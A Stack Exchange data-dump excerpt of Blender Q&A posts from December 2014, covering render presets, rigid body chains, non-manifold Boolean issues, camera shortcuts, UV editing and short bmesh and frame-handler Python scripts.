  <row Id="20966" PostTypeId="2" ParentId="20963" CreationDate="2014-12-16T00:36:20.253" Score="4" Body="&lt;p&gt;The two standards for DVDs are &lt;a href=&quot;http://en.wikipedia.org/wiki/NTSC&quot; rel=&quot;nofollow noreferrer&quot;&gt;NSTC&lt;/a&gt; or &lt;a href=&quot;http://en.wikipedia.org/wiki/PAL&quot; rel=&quot;nofollow noreferrer&quot;&gt;PAL&lt;/a&gt;. Both are a rather low quality format by today's HD standards. You said that you are coming from old media, so going to DVD there will be no loss in quality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender makes it quite easy with presets. Here I'm assuming NSTC.&lt;br&gt;&#xA;Everything you need to set is in the Render tab of the properties window.&lt;br&gt;&#xA;There is a preset for the dimensions: &lt;em&gt;TV NTSC&lt;/em&gt;. The preset for the output is split among two headings &lt;em&gt;Output&lt;/em&gt; and &lt;em&gt;Encoding&lt;/em&gt;. Choose &lt;em&gt;MPEG&lt;/em&gt; for the file type, and make sure it is set to &lt;em&gt;RGB&lt;/em&gt;. Then the default &lt;em&gt;DVD&lt;/em&gt; preset for the encoding works well.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/t4ecQ.png&quot; alt=&quot;render settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-12-16T01:04:35.520" LastActivityDate="2014-12-16T01:04:35.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20967" PostTypeId="2" ParentId="20946" CreationDate="2014-12-16T01:40:50.143" Score="1" Body="&lt;p&gt;I have personally witnessed Blender utilizing 18GB+ of RAM during Cycles renders, 15GB of RAM while UV unwrapping highly subdivided meshes, and using all 64GB of physical RAM during various simulations. The following show Blender utilizing all system memory:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rST0d.png&quot; alt=&quot;Blender 2.7x process using 58.4GB during simulation&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NIgC9.png&quot; alt=&quot;Blender utilizing full system RAM during fluid simulation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not unheard of to run into Blender coding errors in memory management which can limit scalability such as the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developer.blender.org/T42318&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.blender.org/T42318&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as others have mentioned, these limits are not by design.&lt;/p&gt;&#xA;" OwnerUserId="946" LastEditorUserId="946" LastEditDate="2014-12-20T15:26:51.020" LastActivityDate="2014-12-20T15:26:51.020" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="20968" PostTypeId="1" AcceptedAnswerId="20974" CreationDate="2014-12-16T01:46:04.370" Score="1" ViewCount="170" Body="&lt;p&gt;is it possible to somehow execute this, so that I get the status of the show_name option?  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;a = &quot;show_name&quot; &#xA;b = &quot;bpy.data.scenes['Scene'].objects['Cube']&quot; + &quot;.&quot; + a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8364" LastActivityDate="2014-12-16T18:39:46.370" Title="Adding Blender Datapaths together as strings and then executing the resulting string" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20970" PostTypeId="1" CreationDate="2014-12-16T02:15:49.333" Score="1" ViewCount="4842" Body="&lt;p&gt;I have made some chain links. I used the Rigid Body Tools and made the two end links passive and the others active. They are all set to shape Mesh. I've tried setting the weight to acrylic, cardboard, etc to lessen the pull they have when falling. How do I prevent these links from coming apart? I've even tried scaling up the scene but that also doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Peter&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/60cRV.jpg&quot; alt=&quot;1&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OPINR.jpg&quot; alt=&quot;2&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tBscY.jpg&quot; alt=&quot;3&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jU0WG.jpg&quot; alt=&quot;4&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6351" LastActivityDate="2020-11-28T08:38:48.247" Title="Rigid Body breaking links of chain" Tags="&lt;rigid-body-simulation&gt;" AnswerCount="4" CommentCount="7" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20971" PostTypeId="2" ParentId="20970" CreationDate="2014-12-16T02:18:16.123" Score="2" Body="&lt;p&gt;You need to raise the accuracy of your simulation, by changing the &lt;em&gt;Steps Per Second&lt;/em&gt; and &lt;em&gt;Solver Iterations&lt;/em&gt; in the scene panel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fts7x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Raise those to values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, in &lt;a href=&quot;https://www.youtube.com/watch?v=nHVYYMG3QVY#t=363&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial&lt;/a&gt;, it is recommended to change the mass of your objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will influence simulation times&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-12-16T02:18:16.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20972" PostTypeId="1" CreationDate="2014-12-16T02:26:17.083" Score="3" ViewCount="490" Body="&lt;p&gt;So, I used a Boolean modifier on Suzanne and a fairly default cylinder. The results, as they move along, go something like this:  &lt;a href=&quot;http://tinypic.com/r/2vkn6lv/8&quot; rel=&quot;nofollow&quot;&gt;video&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The modifier is set to union.  As you can see, something strange is happening: only her eyes appear.  I did do some interesting things with it previously using the subsurface modifier - but that time, her eyes dissapeared, as opposed to the rest of her head!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kudos to anyone who can help me with this.&lt;/p&gt;&#xA;" OwnerUserId="2226" LastActivityDate="2014-12-16T12:12:00.703" Title="What is happening to Suzanne's eyes during this use of the Boolean modifier?" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20973" PostTypeId="2" ParentId="20972" CreationDate="2014-12-16T02:37:31.647" Score="6" Body="&lt;p&gt;You are using a non manifold mesh. Basicly, non manifold means, in layman's terms, not water tight. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/byRiH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cube has a hole in it. In Suzanne's case, its the fact that her eyes aren't attached to her head.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a quick way to fix Suzanne:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tkwjH.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I use the loop tools add-on accessed by &lt;kbd&gt;W&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-12-16T02:37:31.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20974" PostTypeId="2" ParentId="20968" CreationDate="2014-12-16T08:12:09.460" Score="3" Body="&lt;p&gt;You can use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;eval(b)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.python.org/3/library/functions.html#eval&quot; rel=&quot;nofollow&quot;&gt;eval()&lt;/a&gt; will take any valid Python expression string as argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To set a value, use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;exec(c)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But be careful, &lt;a href=&quot;https://docs.python.org/3/library/functions.html#exec&quot; rel=&quot;nofollow&quot;&gt;exec()&lt;/a&gt; will execute ANY python code, so it is considered a very dangerous command, especially if the string is from user input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would advice rethinking how your code is setup, there is usually very little reason to access bpy in these fashion.&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="41" LastEditDate="2014-12-16T18:39:46.370" LastActivityDate="2014-12-16T18:39:46.370" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20975" PostTypeId="1" CreationDate="2014-12-16T08:51:58.613" Score="1" ViewCount="128" Body="&lt;p&gt;I have to use blender 2.49 and I am trying to change a few settings via a python script like resolution etc. - everything is working but the tmpDir and the outputpath - which I want to change from &lt;code&gt;/tmp/ to /local/&lt;/code&gt; for example&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the &lt;a href=&quot;http://www.blender.org/api/249PythonDoc/&quot; rel=&quot;nofollow&quot;&gt;blender 2.49 api&lt;/a&gt; and it should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.config.tempDir = &quot;/local/&quot; &#xA;bpy.config.renderDir = &quot;Path I want&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but this is not working so far.&lt;/p&gt;&#xA;" OwnerUserId="8445" LastEditorUserId="3127" LastEditDate="2014-12-17T00:56:57.580" LastActivityDate="2014-12-17T01:50:28.213" Title="set temDir and outputpath via python script" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20977" PostTypeId="1" CreationDate="2014-12-16T09:56:01.817" Score="3" ViewCount="127" Body="&lt;p&gt;I would like to know if there is a German translation of Blender.&lt;/p&gt;&#xA;" OwnerUserId="9526" LastEditorUserId="55" LastEditDate="2014-12-16T11:09:50.460" LastActivityDate="2014-12-16T11:09:50.460" Title="How to enable internationalization? (translations)" Tags="&lt;customization&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20978" PostTypeId="2" ParentId="20977" CreationDate="2014-12-16T10:03:32.650" Score="3" Body="&lt;p&gt;In User preferences (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;), under System check &lt;code&gt;International Fonts&lt;/code&gt;, select your language (German is available, I just checked), and mark the parts you want to translate (&lt;code&gt;Interface&lt;/code&gt;, &lt;code&gt;Tooltips&lt;/code&gt; and &lt;code&gt;New Data&lt;/code&gt;).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zBvmQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastActivityDate="2014-12-16T10:03:32.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20979" PostTypeId="1" AcceptedAnswerId="21016" CreationDate="2014-12-16T11:11:16.987" Score="0" ViewCount="214" Body="&lt;p&gt;I'm trying to experiment with both Cloth physics and particles, and I need a little help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a character with a long coat, and I'm trying to get the bottom edge of his coat to kind of... break(?) into little bits, like embers or smoke or something; but at the same time, I don't want to break his entire coat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cloth physics work OK on the coat itself - it behaves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? Just to 'break' a little bit of his coat while still allowing it to move like clothing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tell me if I'm being too vague, and sorry in advance if I am.&lt;/p&gt;&#xA;" OwnerDisplayName="user9527" LastActivityDate="2014-12-17T06:51:38.513" Title="Break end of cloth mesh into particles in an infinite looping animation" Tags="&lt;animation&gt;&lt;particles&gt;&lt;cloth-simulation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20981" PostTypeId="1" AcceptedAnswerId="20994" CreationDate="2014-12-16T11:58:21.773" Score="2" ViewCount="588" Body="&lt;ul&gt;&#xA;&lt;li&gt;I have an animation that loops and has two phases: &quot;cube_object&quot; goes to point x, spins - repeat).&lt;/li&gt;&#xA;&lt;li&gt;Now everytime the &quot;spin&quot; animation is finished (or the &quot;cube_object&quot; reaches a certain location...?), I'd like to spawn an object on a random position with Python.&lt;/li&gt;&#xA;&lt;li&gt;If there are 10 objects spawned stop the animation and change camera angle to another scene.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Imagine a worker in a game that chops wood and every time he finishes chopping a new log spawns. After 10 logs - something new happens.&lt;/p&gt;&#xA;" OwnerUserId="9529" LastEditorUserId="7777" LastEditDate="2014-12-16T12:46:17.087" LastActivityDate="2014-12-16T16:03:26.447" Title="Spawn object after animation finishes in Python" Tags="&lt;python&gt;&lt;animation&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20982" PostTypeId="1" AcceptedAnswerId="20987" CreationDate="2014-12-16T12:28:10.940" Score="1" ViewCount="308" Body="&lt;p&gt;I have a circle with a inner loopcut, and would like to be able to scale the ring without affecting the UV texture on the circle. Currently it warps it, as Blender tries to fit the UV to the (now thinner) ring.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also need the ability to animate the scale of the inner loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/td3oC.png&quot; alt=&quot;Textured View&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OCaW2.png&quot; alt=&quot;UV Map&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When scaling the inner ring, I'd like it to simply &quot;crop&quot; the outer UV texture, instead of &quot;squashing&quot; it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vhf8g.png&quot; alt=&quot;&amp;quot;Squashed&amp;quot; texture&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7677" LastEditorUserId="2217" LastEditDate="2014-12-16T23:37:12.577" LastActivityDate="2014-12-17T01:39:41.090" Title="Animating scale of edge loop to cover texture, not stretch" Tags="&lt;cycles-render-engine&gt;&lt;animation&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20983" PostTypeId="1" AcceptedAnswerId="20985" CreationDate="2014-12-16T12:46:43.117" Score="8" ViewCount="14899" Body="&lt;p&gt;Trying to follow along with a tutorial and in that tutorial the idea is to look at an object I created from the front and then set the camera to the current view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The steps to do this are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Numpad 1&lt;/kbd&gt; (Front perspective)&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Numpad 0&lt;/kbd&gt; (Align Camera to View)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For some reason whenever I do this I don't see anything in the camera and then panning the view around I see that my object seems to have moved to where I wanted the camera and my camera hasn't moved at all.&lt;/p&gt;&#xA;" OwnerUserId="6273" LastEditorUserId="241" LastEditDate="2014-12-16T13:04:31.750" LastActivityDate="2020-11-09T17:10:49.093" Title="Ctrl Alt Numpad 0 keeps moving my object?" Tags="&lt;3d-view&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20984" PostTypeId="1" CreationDate="2014-12-16T12:48:37.803" Score="2" ViewCount="358" Body="&lt;p&gt;After placing camera, when one orbits with &lt;kbd&gt;MMB&lt;/kbd&gt; the view snaps to another place (wherever it was before I entered camera view) which makes one disoriented (see image, notice the selected object and viewer location). Are there any settings in Blender that can change this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XJi6M.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;location before orbit command&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h1gCU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;location after orbit command&lt;/p&gt;&#xA;" OwnerUserId="8110" LastEditorUserId="5705" LastEditDate="2014-12-16T16:47:08.147" LastActivityDate="2015-02-14T19:20:21.913" Title="How to keep the view from snapping to another location when exiting camera view?" Tags="&lt;3d-view&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20985" PostTypeId="2" ParentId="20983" CreationDate="2014-12-16T12:55:43.423" Score="22" Body="&lt;p&gt;The answer was to first select the camera and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Numpad 0&lt;/kbd&gt; and then perform the &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Numpad 0&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User CD38 on &lt;a href=&quot;http://blenderartists.org/forum/archive/index.php/t-78116.html&quot;&gt;http://blenderartists.org/forum/archive/index.php/t-78116.html&lt;/a&gt; explains:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm pretty sure you made the body into the camera at some point with&#xA;  an accidental Ctrl-zero when it was selected. You need to be careful&#xA;  with those Numpad-zero commands. Here they are:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;p&gt;zero alone: changes the viewport so you're looking&#xA;  through the active camera. (&quot;I wonder what the camera's seeing?&quot;)&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Ctrl-alt-zero: moves the camera to match the current 3D&#xA;  viewport. (&quot;I like this angle; let's put the camera here.&quot;)&#xA;  This is why your humanoid is jumping around and looking&#xA;  inside itself. Very mind-bending.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Ctrl-zero : makes the selected object into the active&#xA;  camera. Anything can be a &quot;camera.&quot; In this case it's your&#xA;  humanoid object. This is poorly documented and seems to cause&#xA;  all kinds of grief because it's an easy misstep.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;Select the real camera with the RMB and do Ctrl-zero and all should be&#xA;  well.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(I found this answer and decided to document it here on stackexchange because I had a hard time finding the answer and would have expected this question and answer on this site)&lt;/p&gt;&#xA;" OwnerUserId="6273" LastEditorUserId="241" LastEditDate="2014-12-16T13:09:36.840" LastActivityDate="2014-12-16T13:09:36.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20986" PostTypeId="2" ParentId="20984" CreationDate="2014-12-16T13:00:22.977" Score="1" Body="&lt;p&gt;Disable the Auto-Depth option in User Preferences &gt; Interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hD45g.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There will be still a small jump in the transition but not that big.&#xA;Also making your scene larger will help.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2014-12-16T13:00:22.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20987" PostTypeId="2" ParentId="20982" CreationDate="2014-12-16T13:07:25.750" Score="3" Body="&lt;p&gt;Use Edge Slide for editting - &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt; &amp;gt; Edge Slide&lt;/p&gt;&#xA;&lt;p&gt;In the operator panel check the Correct UVs option:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SJE0l.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;This will crop the outer ring. For the inner ring use different material&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Sc76o.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you want this effect in an shapekeys animation it wont work since they do not affect UV coords. You would have to use a UV Project modifier for the outer rim material:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;add an empty&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B8C2s.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;and setup the modifier for the circle like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SSjoT.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Now it should work also with shapekeys&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-12-16T15:33:14.883" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20989" PostTypeId="2" ParentId="7744" CreationDate="2014-12-16T14:06:07.423" Score="12" Body="&lt;p&gt;You cannot do this with blender/cycles particles itself but you can use &lt;a href=&quot;https://svn.blender.org/svnroot/bf-extensions/contrib/py/scripts/addons/btrace/&quot; rel=&quot;noreferrer&quot;&gt;BTrace addon&lt;/a&gt; to create animated curves from traced particles:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UQaES.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The addon is still under development but it works very nicely.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2014-12-16T14:06:07.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20990" PostTypeId="1" AcceptedAnswerId="20992" CreationDate="2014-12-16T14:10:26.147" Score="7" ViewCount="3210" Body="&lt;p&gt;How can I get a list of vertices that share edge with a given vertex over script? I need this to work in edit mode.&lt;/p&gt;&#xA;" OwnerUserId="4958" LastEditorUserId="55" LastEditDate="2014-12-16T19:20:43.877" LastActivityDate="2016-09-26T20:36:24.553" Title="How to get adjacent vertices of a vertex? (with Python)" Tags="&lt;python&gt;&lt;editing&gt;&lt;vertices&gt;&lt;selection-tools&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20991" PostTypeId="1" AcceptedAnswerId="20995" CreationDate="2014-12-16T14:10:54.933" Score="1" ViewCount="474" Body="&lt;p&gt;I am making a node group,and for this node group I want to make an input connected to a value in the bokeh image node,but unfortunately the node has no inputs so I had to see another way to make an input (If you know how to do this please tell me),so what I did is adding a math node and add a driver to the input in the bokeh node with the variable the 1st input in the multiply node (math) while the 2nd input equal 1,but when I add a variable to the driver (single property variable) and select the scene and copy the RNA of the 1st value in the multiply node &lt;code&gt;nodes[&quot;Math&quot;].inputs[0].default_value&lt;/code&gt; it didn't work and value is not updated and it is marked in red as you see here&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BXg3O.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so how can I get it work?&lt;/p&gt;&#xA;" OwnerUserId="5794" LastActivityDate="2014-12-16T14:36:43.330" Title="Node single property variable not working?" Tags="&lt;python&gt;&lt;compositor&gt;&lt;drivers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20992" PostTypeId="2" ParentId="20990" CreationDate="2014-12-16T14:15:29.863" Score="10" Body="&lt;p&gt;Yes, this is possible using &lt;a href=&quot;http://www.blender.org/api/blender_python_api_current/bmesh.types.html#bmesh.types.BMEdge.other_vert&quot; rel=&quot;nofollow&quot;&gt;BMEdge.other_vert&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This script runs in edit-mode.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;obj = bpy.context.edit_object&#xA;me = obj.data&#xA;bm = bmesh.from_edit_mesh(me)&#xA;&#xA;for v in bm.verts:&#xA;    for e in v.link_edges:&#xA;        v_other = e.other_vert(v)&#xA;&#xA;        # print some info&#xA;        print(&quot;%d -&amp;gt; %d via edge %d&quot; % (v.index, v_other.index, e.index))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2016-09-26T20:36:24.553" LastActivityDate="2016-09-26T20:36:24.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20994" PostTypeId="2" ParentId="20981" CreationDate="2014-12-16T14:25:08.540" Score="4" Body="&lt;p&gt;Try this example that will spawn a random cube everytime the frame == 10, it will stop after 5 cubes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# this is for the random position, imports the random() function from random library&#xA;from random import random&#xA;&#xA;# this holds how many cubes were created and what the cap is&#xA;spawned_cubes = 0&#xA;max_cubes = 5&#xA;&#xA;def spawn_object(scene):&#xA;    &quot;&quot;&quot;This function will be run everytime before frame changes because it is added in the callback list&quot;&quot;&quot;&#xA;&#xA;    global spawned_cubes&#xA;    global max_cubes&#xA;&#xA;    # read the current frame number&#xA;    # if it is 10 and number of spawned cubes is less than max_cubes place a cube&#xA;    # if the frame number is not 10 just end and do nothing&#xA;    if scene.frame_current == 10 and spawned_cubes &amp;lt; max_cubes:&#xA;        loc = (5-10*random(), 5-10*random(), 5-10*random())&#xA;        bpy.ops.mesh.primitive_cube_add(enter_editmode=False, location=loc)&#xA;        spawned_cubes += 1&#xA;    return&#xA;&#xA;# add spawn_object function if there isnt one in bpy.app.handlers.frame_change_pre callback list&#xA;# the function needs to be added there only once&#xA;# everything thats in that list will be executed before any frame change&#xA;if spawn_object not in bpy.app.handlers.frame_change_pre:&#xA;    bpy.app.handlers.frame_change_pre.append(spawn_object)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This uses the &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_60_6/bpy.app.handlers.html&quot; rel=&quot;nofollow&quot;&gt;app handlers&lt;/a&gt; callback list. In your spawn_object function you can test any property - for example the location of your cube_object, or some frame value etc.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2014-12-16T16:03:26.447" LastActivityDate="2014-12-16T16:03:26.447" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20995" PostTypeId="2" ParentId="20991" CreationDate="2014-12-16T14:36:43.330" Score="4" Body="&lt;p&gt;You should use &lt;code&gt;node_tree.nodes[&quot;Math&quot;].inputs[0].default_value&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you open Outliner and select Datablocks in the header you can see and list the data structure.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2014-12-16T14:36:43.330" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="20996" PostTypeId="2" ParentId="20984" CreationDate="2014-12-16T16:02:00.393" Score="1" Body="&lt;p&gt;Yes, you can seamlessly transition between the camera view and the perspective camera. By pressing &lt;kbd&gt;Num 0&lt;/kbd&gt; you can toggle between the camera view and the last perspective view. This is a fast transition however. This will give you a slight idea as to where the two cameras are in relation to each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I myself don't find this too useful though. What I would do to have a better navigate your scene is to enable &lt;em&gt;Rotate Around Selection&lt;/em&gt; under interface in the blender user preferences. This will keep the selected object in the same screen space when rotating in perspective view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9CvDu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-12-16T16:02:00.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
